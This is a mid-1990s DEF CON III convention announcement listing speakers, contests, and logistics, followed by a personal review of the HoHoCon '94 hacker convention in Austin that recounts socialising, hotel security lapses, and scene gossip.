Gail Thackeray, Prosecutor, "It's partly an entertaining party, it's
partly a fashion statement. But it's mostly something about which the
business world has no clue."
Wendy Murdock, Boardwatch, "Def Con represents the tug-of-war that has
always been present - people strive to get that which is just out of
reach, aggravating governments and breaking rules in the process."
The Tropicana has rooms reserved for the convention. Rooms are expensive.
They are even more expensive if you don't book under the convention. If it
is to expensive for you, please see the section below on Las Vegas WWW sites
that can provide you with information on other nearby hotels that are cheaper.
Check-in is 3 pm, check-out time is 12 noon. Remember there is an 8% sales
tax in Vegas.
65$ Single or Double room, Midweek (Monday - Thursday)
90$ Single or Double room, Weekend (Friday - Sunday)
350$ One-Bedroom Suite (Call for Availability)
The Tropicana, 3801 Las Vegas Blvd. So., Las Vegas, Nevada, 89109
(702) 739-2581 or (800) 468-9494 or (702) 739-2448 (Fax)
Held in three conference rooms at the Tropicana hotel in Las Vegas, DEF CON
promises to be interesting. The Tropicana has a huge pool (largest in the
world? Anyway, lots of cool movies have been filmed with this pool in them)
and in August Vegas should be about 100(f) degrees at one in the morning.
What do you care? You'll be wired on caffeine and not sleeping anyway. There
are numerous attractions in town from the strip bars to the local COs in case
you seek distraction.
The Tropicana is located right on the "Strip" with the other three corners of
the street occupied by the MGM Grand (Largest hotel in the world), the
Excalibur, and the Luxor (The big sense-net pyramid). If you can afford it
I totally recommend spending some extra time in town.. there are too many
cool things to do, especially if you have never visited. Heck, last time I
got to rent and fire uzi's and MP-5 machine guns (OK, so you can do that for
cRacK in Los Angeles) see some strippers, and drink 1$ bottles of imported
beer. What a place! Now you know why I chose Vegas for a location.
SPECIAL EVENTS
This year there will be a number of special events going down, including:
[> Hacker Jeopardy [> Spot the Fed Contest [> Voice bridge
[> Giveaways [> A Red Box Creation Contest [> A Video Room
[> Cool Video Shit [> Scavenger Contest [> Who knows?
[> Group Battle Tech simulations at Virtual World.
COSTS
The price of admission will be 30$ in advance (See the end of this
announcement the address to pre-register to) or 40$ at the door. This will
include your goovie 24bit color name tag and a conference program.
Don't forget to factor in Hotel costs, (The more people you crash with, the
cheaper it is) gas, food, gambling, booze, strippers, bail, etc.
This is a partial list of speakers for this year. More are being invited
or waiting to make plans. As this list changes further announcements will
be made. This should give you a flavor or what to expect, though.
[> Bruce Schneier, Author of "Applied Cryptography." TOPIC: Will speak
on issues surrounding cryptography, digital authentication, digital cash,
and will answer questions from the audience.
[> John Perry Barlow, Visionary, etc. If you don't know who this guy is
you definately need to attend. TOPIC: TBA
[> Winn Schwartau, Author of "Information Warfare" and "Terminal Compromise"
is a consultant to government and the private sector regarding enterprise
and national security concerns. TOPICS: "Information Warfare, the year
in review" (Comedic) and "Tempest Attack Videos."
[> Len Rose AKA Terminus. After the legal fiasco Len faced years ago (as
partially chronicled in "The Hacker Crackdown.") this will be his first
chance to speak of his experiences without the threat of having his parole
revoked. TOPIC: TBA
[> Lewis De Payne, aka "Roscoe" TOPIC: Ultra Hacking - Beyond Computers:
How to make your hacking more successful and productive while minimizing
risk. Learn how to adopt a business-like strategy, planning your goals,
focusing your strategy and keeping you out of trouble!
[> Curtis Karnow, former federal prosecutor and attorney focusing on
intellectual property litigation and computer law. TOPIC: Agents in the
telecommunications context, and "smart" software that we 'trust' to do the
Right Thing. The specific issue is legal liability and responsibility for
the actions of intelligent agents, and then spinning off to chat about the
liability for artificial intelligence generally.
[> Robert D. Steele, President of OPEN SOURCE SOLUTIONS, Inc. A former Spy,
Experienced Bureaucrat, Radical Visionary. Tofflers call him the "rival
store" to CIA. Keynote Speaker at HOPE, Workshop at Hac-Tic '93.
TOPIC: TBA
[> The Electronic Frontier Foundation. TOPIC: The EFF will cover current
legal threats privacy and computer information networks.
[> Stephen Cobb. TOPIC: "The Party's Over: Why Hacking Sucks." Stepehen
intends to play "devil's advocate" and suggest that "hacking should not
be tolerated in any shape or form as it serves no useful purpose and is a
menace to society."
[> Jim Settle, ex-FBI computer crime division department head. TOPIC: TBA
Speakers will be talking Saturday and Sunday, and maybe Friday depending.
So you think you're so damn smart, eh? Think your shit doesn't stink?
Right. Think you got one up on the Feds, huh? Well, now's your chance to
prove it smarty-pants. Winn Schwartau will take command and moderate.
! A N N O U N C I N G !
H A C K E R J E O P A R D Y
That's right. You can now prove how smart you really are. Get up on stage
and question a few answers, pile up the points . . . and win big!
You know the game. You know the rules. Now all you have to do is have the
guts, get up on stage in front of your peers and the narks and show us all!
When? After Dark Tangent's opening speech (which we're all really looking
forward to . . . [yawn] HACKER JEOPARDY starts!
MIDNIGHT - DAY 1 of DEF CON (Friday)
If you wanna play . . . show up. If you don't wanna play, show up.
There will be three rounds of three people. Just like real. The winners of
each round will go into the Finals and the winner of that will win 25,000
units of some foreign currency! From Dark Tangent himself! Plus:
- A T-shirt three sizes to small for the women.
- No T-shirts for the men.
- Silk jackets for everyone.
- One Heineken per player per round at DT's expense.
- Round trip directions to Hoover Dam.
- Phiber Optik's home address.
- Erik Bloodaxe's Blood Samples.
- And more . . .
Contestants will be picked at random from a pool of those who want to play.
If you don't wanna play, don't enter the contest. Only the elite survive!
FEDS: If you get picked to play, and we ask you what your job is, YOU HAVE
TO TELL THE TRUTH! If you don't, our custom Fed-O-Meter will detect your
lies and off to the casinos you go!
Potential categories for questions include:
- - Famous Busts - Famous Narks - UNIX Bugs - Telco Tech - "Hacking"
and beware of the killer daily double. Bribing the judge is acceptable.
EMail your suggested questions and answers to winn at winn@infowar.com
So, in the inimitable words of Al Bundy . . . LET'S ROCK!
3rd ANNUAL SPOT THE FED CONTEST
Spot the fed, win the shirt
"Like a paranoid version of pin the tail on the donkey, the favorite sport
at this gathering of computer hackers and phone phreaks seems to be hunting
down real and imagined telephone security and Federal and local law
enforcement authorities who the attendees are certain are tracking their
every move.. .. Of course, they may be right." John Markhoff, NYT
Basically the contest goes like this: If you see some shady MB (Men in
Black) earphone penny loafer sunglass wearing Clint Eastwood to live and
die in L.A. type lurking about, point him out. Just get my attention and
claim out loud you think you have spotted a fed. The people around at the
time will then (I bet) start to discuss the possibility of whether or not a
real fed has been spotted. Once enough people have decided that a fed has
been spotted, and the Identified Fed (I.F.) has had a say, and informal vote
takes place, and if enough people think it's a true fed, or fed wanna-be,
or other nefarious style character, you win a "I spotted the fed!" shirt,
and the I.F. gets an "I am the fed!" shirt.
Note to the feds: This is all in good fun, and if you survive unmolested
and undetected, but would still secretly like an "I am the fed!" shirt to
wear around the office or when booting in doors, please contact me when no
one is looking and I will take your order(s). Just think of all the looks
of awe you'll generate at work wearing this shirt while you file away all
the paperwork you'll have to generate over this convention. I won't turn in
any feds who contact me, they have to be spotted by others.
TELEPHONE CONFERENCE BRIDGE (801-855-3326)
For DEF CON III there will be a dial in conference set up. If you are
overseas, or just too poor to make it to the convention this year, you can
still get an idea of what is going on and participate. One part of the voice
conference equipment will allow you to listen to the convention room
microphone, another will allow you to ask questions during the Q&A sections
of peoples speeches. A general conversation area will be up so you can chat
with others at the convention, or just others dialed into the bridge.
Navigate through the voice mail maze and get free phone sex! Impress others!
The Voice bridge is up now at 801-855-3326. It has 5 analog ports, but in a
few weeks will have eight digital ports for better sound, etc.
SPOOAH DOOPAH RAFFLE GIVE AWAY!@#
Throughout the convention, between speakers and events there will be a raffle
giveaway in which if your number is drawn, you win the prize. Last year's
giveaway included an ancient kaypro monochrome portable, a roll of Sprint
"security" tape, "Computer Warriors" evil anti-virus cartoon, a 240 meg IDE
HD, and other elite things.
>> All the prizes given away are donated by other convention goers, so if <<
>> you have any stuff to give away, please save and donate it to the con! <<
RED BOX BUILDING CONTEST
While we don't encourage or condone the use of toll fraud devices, we do
encourage creativity and expression of thought. We combine these and come
up with a red box creating contest. The final device doesn't have to
produce the real red box tones (can't have people getting arrested) BUT it
does have to produce some audible tones, any kind of tones. This contest
is inspired by last year's give away of a red box "Big Red" that looked just
like a big pack of Big Red gum, but really was a red box. Elite! There was
also a little girl's doll that was a red box, but the switch for that one was
hidden under the dress and, well, it just wasn't given away.
Come up with unique ideas! With just a Hallmark card and some spare time you
can create an elite 007 style tone generating device! What will you win if
yours is chosen as the most k-rad besides the envy of fellow hackers? You'll
get a tee shirt and the cost of admission to the convention refunded PLUS
some as-of-yet undecided prize. I bet you just can't wait to burn your
fingers with your soldering iron now!
THE VIDEO ROOM
In one of the rooms a LCD wall projector will be hooked up connected to a
VCR, and people can bring flicks to play. Stuff like Max Headroom, War Games
etc. You know, the cool cheesey stuff. Also some "hacker" videos will be
shown. If you have something you wanna show, bring it along. When the
projector is needed in the main conference room it will be swiped for the
duration.
COOL VIDEO SHIT
At this time we are working to see if a T1 connection is possible. If it is
there will be a cu-see me connection set up with multiple video cameras in
various locations. Images will also be added automatically to a WWW page for
people to snag. As all this works itself out there will be further
announcements. No, there will be no "Hack our server" contests, and there
will be "Security Professionals" with "Diagnostic Tools" to "Correct" any
people who may cause the network problems.
SCAVENGER CONTEST
A scavenger contest is being planned. The person or group with the most
number of items on the list wins the prize. (Prize undetermined as of yet)
and there will be a few follow up prizes. Don't forget to carry massive
amounts of water as you run about the concrete jungle, dehydration can
happen just crossing the street. This is a contest for only the most k-rad.
GROUP BATTLE TECH SIMULATIONS AT VIRTUAL WORLD
DEF CON has reserved groups of Battle Tech Pods on Friday and Saturday in
order for people at the convention to battle it out in total VR mech-combat.
There will be two teams, the White Hats and Black Hats, who will oppose
eachother. Each pod group consists of 8 pods, so it would be
4 on 4 or we might join pod groups to make it an 8 on 8 battle. In any
event you need to reserve you space in the pod battle groups if you want in
on the group action. There will be battles going on Friday and Saturday
before 5pm. Cost is $25 for one hour of simulation per person. Currently
there are three pod groups of eight each open on Friday and two eight pod
groups open on Saturady. As people sign up DEF CON will reserve more pod
groups if there is demand.
If you are to chicken to get in on the group battle action there will also
be a DEF CON group discount rate.
If you are interested in signing up for a seat in the group e-mail me the
day you want to participate and I will mail you back your log in name. Give
preference of White or Black hat status. You will need to pay the $25 in
advance to reserve your space. Open spaces will be filled on a first come,
first serve basis, and also during the con there _should_ be spaces available.
The intent is get good con battle groups going. A full battle tech info pack
will be availbe on the FTP site soon, as well as in future announcements and
on the mailing list.
DEF CON III will be planned right up until the last minute, with problems
being fixed and new things being added all along.. a sort of work in progress
that you get to witness in person when you show up. Hopefully it won't be
too messed up when presented to the public. What can you do to help?
=> Please help generate questions for Hacker Jeopardy. Come up with some
questions and answers, and Winn will decide which ones to use. Mail 'em
to winn@infowar.com.
- -> We are looking for people to speak on Personnel Information Gathering and
selling. Hopefully a speaker (who could remain anonymous) in this area
has experiences in gathering and selling such information. If you know
of such a person, please invite them to contact me or let them know we
are looking for such speakers.
- -> We are looking for some people to submit artwork to be used in the
convention someplace. It could be a poster, or in the program. Black
and white art would be eligible for the program only.
- -> Articles and interesting FTP sites, WWW pages, mini FAQs, etc. are all
wanted for the program. Quality articles that are informative and apply
to the theme of the convention. Scanner frequency lists,
Mailing lists: mail majordomo@fc.net with the following statement in the body
of your message: subscribe dc-announce This will set you up on the mailing
list and you will receive updated information, information on the other
mailing lists offered, etc. I suggest joining the dc-stuff list just so you
can talk and plan with other people going to the con to coordinate rides,
sharing of rooms, etc.
Voice or Voice Mail: 0-700-826-4368 from a phone with AT&T LD.
or 206-626-2526
E-Mail: dtangent@defcon.org (The Dark Tangent)
Snail Mail: 2709 E. Madison #102, Seattle, WA, 98112
BBS System to call for info if you don't have net access:
Alliance Communications - +1 612 251 2511 - USRobotics HST DS 16800
NUP: New World Order
Please note the following newsgroups may or may not be designated for local
distribution (Distribution: Vegas and/or nv), and is intended for all
systems in the Las Vegas area or those interested in same on the same level
as the la, ca, ba, ny, nyc, and other similar local higherarchies:
vegas.bi Talk for bisexually natured persons
vegas.config Configuration discussions for the higherarchy
vegas.food Anything about food in Las Vegas
vegas.for-sale For Sale/Want ads (no commercials, please!)
vegas.general General discussion
vegas.jobs Jobs offered and wanted in Las Vegas
vegas.motss MOTSS community talk
vegas.personals Personal ads - any nature
vegas.singles Talk for singles
vegas.test Group to test post to
WWW PAGES about Las Vegas, Hotels, Things to do, etc.
Stuff is for sale from DEF CON I and II in case you are interested. From the
first year we have audio tapes (4 90 minute tapes) for $20 and the second
year (10 90 minute tapes) for $30. Descriptions of these tapes are below.
DEF CON I Tapes (4) include the following speakers:
Ray Kaplan, Curtis Karnow, Gail Thackeray, Dead Addict, Dark Druid, Judi Clark
Dan Farmer, and Dr. Mark Ludwig.
DEF CON II Tapes (10) include the following speakers:
Phillip Zimmermann : Keynote Speaker, PGP.
Gail Thackeray : Response to Mr. Zimmermann and Privacy issues.
Chris Hall : Electronic Surveillance.
Curtis Karnow : Recombinant Culture, Crime in the Digital Network.
Dr. Mark Ludwig : Virus Creation Awards and What to do when the Feds come.
Judi Clark, Mara, Fen and Marianne in a Round Table Discussion.
The Dark Knight : Hacking in the UK
Sara Gordon, Mark Aldrich, Phil Zimmermann: Internet and PGP privacy concerns.
Annaliza (Torquie) : The European Underground scene.
Mark Lottor : Various cellular topics.
Winn Schwartau : HERF guns, Van Eck, Information Warfare
Peter Beruk : The role of the SPA, general Q&A.
Padgett Peterson : Anti-Virus writing, Cleaning up other peoples messes.
The Jackal : A basic radio overview with Q&A.
Artimage : Underground spoof and give aways.
Stephen Dunifer : Radio Free Berkeley and pirate media.
Damien Thorn : Random Cell information from the late night tech talks.
SHIRTS are still available to buy. The ones remaining are long sleeve white
with the choice of two styles. Both styles have a three color logo on the
front (Red, Gray, Black) with "DEF CON". The back is either a list of
strange grep key words and "inside" keywords with "Why? Because I can." at
the top. Back #2 is the same back as DEF CON I with the old and "new" 4
Amendment as stated by J.P. Barlow with "Protect your rights, Encrypt your
data..." at the top. The back on this style is two colors.. black lettering
framed in light gray for better definition. Shirts are $20.
SHIPPING : If you buy anything, please include 2.90 for priority shipping.
OK! Your almost ready to go. Now here is an E-Z to follow checklist of
things you should take care of before throwing caution to the wind and
bailing out to the dangerous and sexy-wrong world of Las Vegas. In the
words of one famous (and abused) phone system: "Sit up straight, PAY
ATTENTION, Listen to what your being told. (Now try again)" (Whoever can
identify that phone system first gets in free)
StUPh 2 D0 b3fore the C0nvent1ion:
_ Check out inpho about Vegas so you know what you wanna do.
_ Get a hotel room or some crash pad.
_ Bring $40 for admission or pay $30 in advance.
_ Bring your PGP key on disk to key sign with others.
_ Bring Laptop, laplink, serial, and bizarre gender changer cables.
_ Bring things to donate for the give-away raffle.
_ Leave massively incriminating evidence at home.
_ Police scanners can provide hours of fun in Vegas.
_ Bring interesting videos to play in the video room.
_ Caffeine and snacks are fun to eat.
_ Don't forget any drugs or medication you may need.
_ You won't need saline for your contact lenses, you won't be sleeping.
_ Anything you promised your friends you would bring for them.
_ Join the mailing list and arrange rides or rooms with others in advance.
Well, last year it came to my attention that some unknown person in
California had modified an announcement and was having people mail their
pre-registration money to them instead. It was actually pretty funny. Only
one person was fooled and lost 10$. Not bad. I knew something was up when
he said he had pre-registered for 10$ and had the receipt I had supposedly
mailed back. I am never that organized! To avoid potential problems like
this one please verify this announcement!@# My key is available for
verification on public key servers, and my key-id is 46A8294D. The
other key you will find on servers may be my older 1284bit key, which is
still good, but just not used to sign this text.
END ANNOUNCEMENT ------------------------------------------------------------
HoHoCon '94
December 29, 1994 - January 2, 1995
Ramada Inn South, Austin, TX
A Review, released to the Net on 1/25/95
By Netta "grayarea" Gilboa
I flew to Austin, TX after spending Christmas with some hacker friends.
I arrived a day early, unsure if the Con was gonna come off and how many
people would show if it did. HoHoCon had almost been cancelled this year
after someone called the original hotel and said a bunch of mean, evil
hackers were gonna descend on the hotel and that several federal agencies
would be sending feds there to monitor it. If you ask me, some kid's mom
said he couldn't go so he decided to try to make sure none of us could
either. Lame. It also taught me that everyone in this community has
enemies. Maybe someone just doesn't like Drunkfux. Supposedly, right after
this phone call the hotel got another, this time from Dateline NBC who
wanted permission to film the Con. Rumor had it the hotel panicked and
cancelled. The truth is that a regular client of theirs offered to pay
higher room rates and the hotel stood to make over $20,000 extra by
getting rid of us and having them there instead. So they used the phone
calls as an excuse. I can only imagine the hassles Drunkfux went
through to find another hotel that was empty on New Year's Eve weekend.
But Drunkfux came through with flying colors and when I got to the
hotel they told me other people had started to arrive. They gave me a
list of these people to look at, complete with their real names and room
numbers. It's possible they would even have xeroxed the list if I had
asked them to. Uncool. Even more uncool, almost shocking, was that the
hotel had a clipboard on the counter with people's real names, assigned
room number and credit card number complete with expiration date. It was
listed in alphabetical order and I was on the top page in the third spot.
I freaked. I told the woman behind the counter that she must move the
clipboard as some of the people coming specialized in attacking people's
credit and that I would surely be a target given my position on the list
and my all too well-known real name. She said okay but when I returned my
luggage cart, some twenty minutes later, it was still on the counter. I
told her again, nastier this time, to move it. An hour later she still had
not. I then asked to use a phone and was told there was one in my room and
another down the hall. I explained that I wanted to call right from the
counter to cancel my credit card and to call the national offices of Ramada
Inns to have her fired. In a nasty tone she told me she'd move the clipboard.
She did. However, the next day they threw the pages in the trash and, of
course, had the clipboard on the counter again with a new list of the people
due to check in that day. I argued with them again and they moved it. A few
hours later (surprise!) their trash was invaded and they went out and bought
two paper shredders. This was a good investment on their part although it's
a shame it took us to teach them that. If you intend to stay at a Ramada Inn
anywhere in the U.S., I would strongly advise you not to prepay with a credit
card. They can't be trusted with your data. We invite readers who may have
experienced credit card fraud after staying at Ramada Inns (or other hotels)
to contact us. It was a sobering lesson in how vulnerable the average person
is in society.
I had plans to hook up with Stormbringer and Holy Spirit, two virus
writers I love talking to. Stormbringer had recently retired from virus
writing after hearing from someone in Singapore who got infected with
one of his non-malicious viruses. I had read his retirement text file and
was anxious to talk to him about it. He assured me on the phone all was well
and they agreed to meet me at Mr. Wasabi for sushi and I ate more sushi
than I ever had before in one sitting. Then we walked to a coffee house
and they drove me back to my hotel around 1 a.m.
I was invited to Novocain and Particle's room so I headed up there and
ran into Veggie, Onkel Ditmeyer, Count Zero, Buckaroo, etc. Onkel showed
me his way cool laptop and I finally got to see what an IBM demo looks
like. These are programs which demonstrate the sound and graphics
capabilities of a computer. He copied a few of them on a disk for me along
with some electronic magazines I had never seen. Onkel is the author of a
well known phreaking program called Bluebeep. We spoke a lot over the
weekend and I found him brilliant, honest, charming and not afraid of
girls who know way less than him. He was one of the coolest people at
HoHoCon this year.
At 6 a.m. a few of us went downstairs for free breakfast and the
conversation turned to the various women who hang out on #hack. There
was some dissing of one girl who has slept her way around the scene and
in the past had given a number of hackers herpes without telling them
first. Eeks. I tried to get out of the guys I was eating with what she
had that I didn't (besides herpes). I message most of her old lovers on
IRC but none has ever made a pass at me. We talked about the other girls
on IRC, who has slept with whom, and how they got treated afterwards. We
talked about why people might have slept with those particular girls at
the time they did and I suddenly felt both very lucky and better about
myself that the one hacker I had slept with was a decent choice. Quality
might beat quantity. To know for sure, I guess I'd have to ask the girls .
We picked up a bunch of food that was apparently not included in our
free breakfast coupon. The waitress didn't know how to handle it and
neither did we. I offered to put the food back and she finally agreed to
let us eat it. I suggested they put up a sign to warn others and, of
course, they didn't. Later I heard they let us all eat the bacon and other
food for the rest of the Con. I never made it back down there again even
though for American food it was pretty good. I was pretty tired and so
headed off to sleep when we were done chowing down.
I woke up Friday afternoon when Particle and Novocain knocked on the
door. They had a car and took me to a Chinese restaurant nearby with a
killer buffet. When we got back there were many people in the lobby
listening to a tape of prank phone calls made by Phone Losers of America.
I wanted the tape bad as it seemed highly appropriate for us to review.
I was promised a copy which materialized in under an hour. W0rd! For all
the shit I take for it, there are advantages to being press.
I felt pretty comfortable with all of the people I was talking to and
since my room was very close to the lobby I invited everyone there and
even left the door open for others to enter my room (which almost
everyone who passed by did). It was kind of odd where they had situated
me. You could watch my door from the counter where people checked in. I
had asked for a smoking room but got dealt non-smoking instead. I
inquired about changing it and was told some crap about all the rooms
being accounted for already. It crossed my mind at the time that maybe
some feds had purposely put me there but I discounted my gut feeling and
remembered most hackers thought I was too paranoid about things. I told
people to go ahead and smoke in my room with no ashtray. They did. All
told about 15 people were in there and one of them pulled out a toy
to show me. It was a box that hooked up to your telephone which allowed
you to change your voice into that of a male, female or child. I had seen
these boxes before in catalogs. They sure work great! I made two calls
with it, one to a friend and one to my ex-husband. I snickered at how
surprised they'd be when they heard my message and later regretted not
telling either or them to save it so I could hear it back. Honestly,
playing with this legal box was every bit as cool as great drugs or sex.
I vowed to buy one. Watch out!
Talk turned to dinner and people started to leave my room. Particle was
the last one out and he showed me something about how the hotel room locks
worked. Hackers spend hours trying to figure out how things work and
although I had little interest in the subject it was clear Particle was
struck by the technology and not the idea of breaking into someone's
room. I started to organize people who were willing to eat sushi. Just as
we were about to leave Particle and Novocain were gathering everyone into
a room to tell people to chill their behavior. It later turned out that
Particle had played with another lock after I made him stop touching
mine. He had the misfortune to be seen by a member of the Austin Police
Department who wisely agreed not to arrest him in exchange for Particle's
agreeing to talk to people in an attempt to curtail the usual HoHoCon
hotel destruction. I should have attended this talk although I had no
idea at the time why it was being organized. But I was starving and
the people I took to eat sushi were not those who would consider trashing
a hotel. Laughing Gas, Thumper27, Slyme, El_Jefe and I checked out Kyoto
sushi which was good but expensive for what you got. I spent part of dinner
wiping the free space on the hard drive on my laptop. I had never used
this feature before, but had been told about it at the con and it sounded
like something I should start doing regularly to protect other people's
privacy so that erased E-mail and articles were truly erased. It was a
good thing I had sushi to eat to keep me busy as it took a good twenty
minutes to do on a Pentium laptop with a 500+ meg hard drive.
When we got back to the hotel I ran into Drunkfux who had cut his
hair and dyed it bright red. I hardly recognized him but it looked great.
It was clear by the police presence in the lobby that the Con had
officially started. We were told that signs hung on room doors (I had
put up a copy of one of the magazine covers with a small piece of scotch
tape) would be taken down. This made it much harder for us to find each
other (I'd estimate we had 90% of the hotel's rooms) but so it goes.
Some people were told specifically that they could not use their modems
and for hours on Friday night the phone lines were so busy with modem
usage that there was no way to make an outgoing call or to receive an
expected incoming one. All sorts of security guards appeared. The ones
I spoke with were police officers too. I'd guess there were 1-3 dozen
around at all times and apparently hotel personnel were told they were
all on duty until we left and none of them were able to go home for the
rest of the weekend. I wish I could say this was utterly unwarranted.
But some lamer broke the lock on the door to the hotel's phone system.
And remember that another person had trashed the hotel's garbage and
must have made a mess or been spotted.
The hot party that night was in Erik Bloodaxe's room. Loki, Ice-9
and Ophie were staying with him and Loki was in charge of the door.
He made sure to keep me out just as he does when he acts like a bully
on IRC. I knew in my heart it was Loki's doing not ErikB's, but that
didn't stop me from getting majorly upset about it anyway. I went
downstairs to be alone and Particle knocked on the door a few minutes
later. I gave him a piece of my mind and then some about how shitty
some of those in the computer underground are. I went on for at least
an hour and drew great comfort from the fact Particle thought I was not
crazy and that things are as awful as they seem sometimes. Finally
he told me that since I kept claiming to love hackers despite all of the
grief, there were dozens of nice ones out there who would be thrilled to
talk to me if I'd only leave my room and go try to have a good time. W0rd.
I took his advice and had a good time in the lobby with the other rejects
from Bloodaxe's party. The conversation was so good it was hard to tear
away to go to sleep. I went to my room at 4:30 a.m., got under the covers,
thought about sleep for 10 seconds. Then I pulled out my laptop and wrote
a speech to deliver to the crowd the next day.
The two people I had counted on to wake me up didn't show and it was a
stroke of luck that made me jump up at 9:45. The speeches were supposed to
start at 10 a.m. and even though they surely wouldn't start till later I
was selling magazines and was due there pronto to claim my table. It took a
luggage cart to get all those magazines downstairs. I shudder to think what
my life will be like when I have 30 issues to lug around instead of six.
The folks from Fringeware were selling books and T-shirts and someone else
had old Atari game units and cartridges. People came by to say hi and to
buy magazines. I plugged my speech and told people not to dare miss it.
It was impressive that Drunkfux had gotten so many original speakers
on such short notice. They mostly said what the crowd wanted to hear and
shared thoughts on digital cash, the regulation of the Internet, recent
laws, etc. Damien Thorn showed a video clip to the tune of the current
rock hit "21st Century Digital Boy" which had cellular phones, scanners,
etc. in it. It's part of an upcoming video that looked awesome. Veggie
talked about dealing with the media after an old text file of his was
used to harass a BBS sysop who got more than twice Phiber's jail sentence
just for having a file around.
Someone sent Erik Bloodaxe to talk to me as part of my speech referred
to him. It was an uncomfortable talk and I was probably correct in feeling
that half the room was watching us and not whoever was speaking. I told
him he could pay me back in print or elsewhere but that I was going to
go ahead with what I planned to say and he surprised me by saying that
what I had written was fine and he even added to it. He also told me
that Loki had gotten too drunk and had been a pain in the ass to room
with the night before. He assured me that although way too many people
had been in his room, and way too many had tried to get in after it was
full, it had not been his intention to keep me out. I felt bad that I
even cared, and that he knew I cared, and that he and I even had to
discuss it. I was unhappy that he had no intention of staying to hear my
speech or the fight with Loki that he knew was coming but didn't
mention to me. We left things with the fact that we'd go out for dinner
or something the next night with Ophie (who also had an early flight)
after the bulk of the Con was over. It occurred to me then it would never
happen because plans are hard to keep at Cons but I mentioned it in my
speech anyway.
My speech went over very well. It was about what's been going on at
Gray Areas since I spoke at HoHoCon last year. It was also about the
behavior of certain elements of the community and how that behavior has
affected me. And it was a stern warning about some busts that are coming
down. I know a few people got the message. I could tell from the gasps
and laughter at key points. But perhaps the highlight of the speech was
the confrontation between Loki and I when he chose to bully me before
anyone else could ask a question. I answered his accusations and managed
to do a decent job even with no warning. Whatever he hoped to accomplish
clearly wasn't working and from somewhere deep inside of me I found the
courage to ask the entire room to vote on whether or not they really
never wanted to see me on #hack again. The only vote opposed in a room of
about 250-300 people was Loki's. Hours later I regretted not thinking to
ask how many people never wanted to see Loki there again. Four people had
come up to me and told me they would have voted him out. Loki left the
room with his tail between his legs and ran to IRC. By the time I got on
hours later word had spread a story that I picked a fight with him and
he had won. The proof is in the videotape which will be available soon
from Drunkfux. It's highly recommended for both friends and foes of mine.
Drunkfux said demand for this portion of his footage was very high. I
promised to give him better footage and an even better speech next year.
Later Count Zero wrote this about my speech in Cult of the Dead Cow:
"Grayarea gets up and begins to read off a pre-prepared speech on her
laptop. Her speech is too quick for my alcohol-byproduct-sodden synapses
to register accurately. I keep staring at her dress...bright tie-dye...
mesmerizing...it's actually quite cool. Suddenly, Loki gets up in the
audience and the accusations fly back and forth between them. You kicked
me off IRC. You called my office at work. You are doing this, you are
doing that. Both are getting into this verbal slugfest in a major way.
I feel the bad karma in the room hanging heavy like blue-green cigar
smoke. "Can't we all just get along??" I yell, but no one seems to hear
me. I don't know who is right or wrong (it's probably somewhere in
between...the truth's always gray, right?), so I don't hypothesize. All I
do know is that I'd never want to piss off Grayarea...she's damn strong
on her convictions and won't take shit from anyone. I think she'd look
better up there wearing a big ol' leather jacket with studs...terminator
style. "One tends to assume that people wearing tie-dye gear are quiet,
meek, very soft spoken, non-confrontational types....it is a camouflage
that suits her well," I think. Bahaha! I liked your comments, Count Zero.
And I did hear you yell that.
After the speeches I sold more magazines thanks to Loki who
inadvertently made way more people interested in me. Bahahaha! Some of
them said they liked or loved my dress, some of them hugged me and some
of them signed up for subscriptions and gave me their data. I then
headed off for dinner at yet another sushi restaurant. Laughing Gas
and Slyme came again along with Mr. Spock who agreed to lose his sushi
virginity to me and jokingly said that way he'd get mentioned in my
review. I thought he was one of the three kewlest people I hung out with
at the Con. I hope I get to spend more time with him at a Con in the
future and I'd even be willing to go try his favorite type of food! The
sushi place we picked was awesome. I was sorry I hadn't found it
sooner. It's almost too bad HoHoCon will be in another city next year.
I also wanna mention the elite, Jak_Flack, who drove us to the restaurant
when cabs were scarce on New Year's Eve. He didn't want any sushi or
any money. He even got lucky and gave a ride to people who probably
would have done the same thing for him under the same circumstances.
Thanks.
After dinner I did what Drunkfux begged us not to do. I spent New
Year's Eve on IRC. I messaged Mr. Spock, in fact, who was typing from
the other side of the room. I also messaged some hackers I talk to all
the time. Some were lonely and glad to see me. I thought a lot about
loneliness. Some of us prefer to be with computers than people. Some of
us can open up more easily to people on a computer. And some of us need
computers around even when we're with other people. I was typing from an
account at hohocon.org and there were several people in the room having
fun with their "site" as X and Y tried repeatedly (and succeeded) to get
root there. I had never seen root before from the position of the person
protecting it. I should have paid way more attention but I got too caught
up in having conversations. I should also have paid more attention to the
people in the room with me. Loq and Fool were there and they seemed really
kewl but I got too lost in IRC. Oh well, at least I wasn't hopelessly
drunk. And I wasn't kicked or banned once. People were delicate with each
other on IRC. They were often drunk, vulnerable and more likely to reveal
things when conversing. Those who were on were more than willing to talk
to anyone who showed up. People apparently intend to make public the
hohocon.org logs. If they include IRC chats it would be very shallow. I
will never again take the chance and IRC from a Con again. Although I have
mostly come to terms with the fact that I am a semi-public figure and
people will always want to see whatever I type on the Net, but it's not
fair to expose the words of the people I messaged.
I dragged myself off IRC about 4:30 a.m. and went downstairs to clean
off one of the beds. Novocain and Particle had checked out of their room
and were gonna stay in my room for one night. I was thrilled at the idea
of having company. But when the bed was empty it looked tempting and I
lay down for the 90 minutes till I was due to meet them at the breakfast
buffet. Next thing I knew it was Sunday afternoon. Oops! I wondered where
they had slept. Apparently they hadn't wanted to wake me so they slept
in another room. I felt bad but at least their stuff had been safe which
is all you really care about at a Con. SORRY! Next time, guys, wake me.
I stumbled into the lobby and joined the conversations that were going
on. A hotel employee asked if we'd mind moving to the conference room and
we agreed. We figured the room was bugged just as the hotel phone lines
had been. But we weren't talking about anything secret and a few of the
hackers answered all of the questions asked by the cop/security guard who
hung out for about half of the time we were in there. It was a very fun
time there on the floor chatting with Voyager, Ophie, Onkel Ditmeyer, lgas,
Deadkat, Drunkfux, etc. There were way more people but I'm drawing a blank
on specifically who. I went upstairs to get more magazines and ran into
Bruce Sterling. He was growing facial hair and looked great. He said he
felt lousy which shows what I know. I hugged him before he said he felt
lousy. We talked about the book he is working on. Then Ophie and I went
off to be interviewed about female hackers and the treatment of women by
hackers. It could have used Cori and Noelle but it made some good points.
We came downstairs and I saw Drunkfux at work videotaping an interview
with the guys from TNO in Colorado. This was priceless footage of them
discussing how a group decides policies and handles politics and how they
have applied political thought to hacking. I was sorry I had missed half
of it and sorry I had spent so much time socializing with them that it
had never occurred to me I didn't know much about their group and I should
have interviewed them too. I hope Drunkfux includes every word of their
interview in the video.
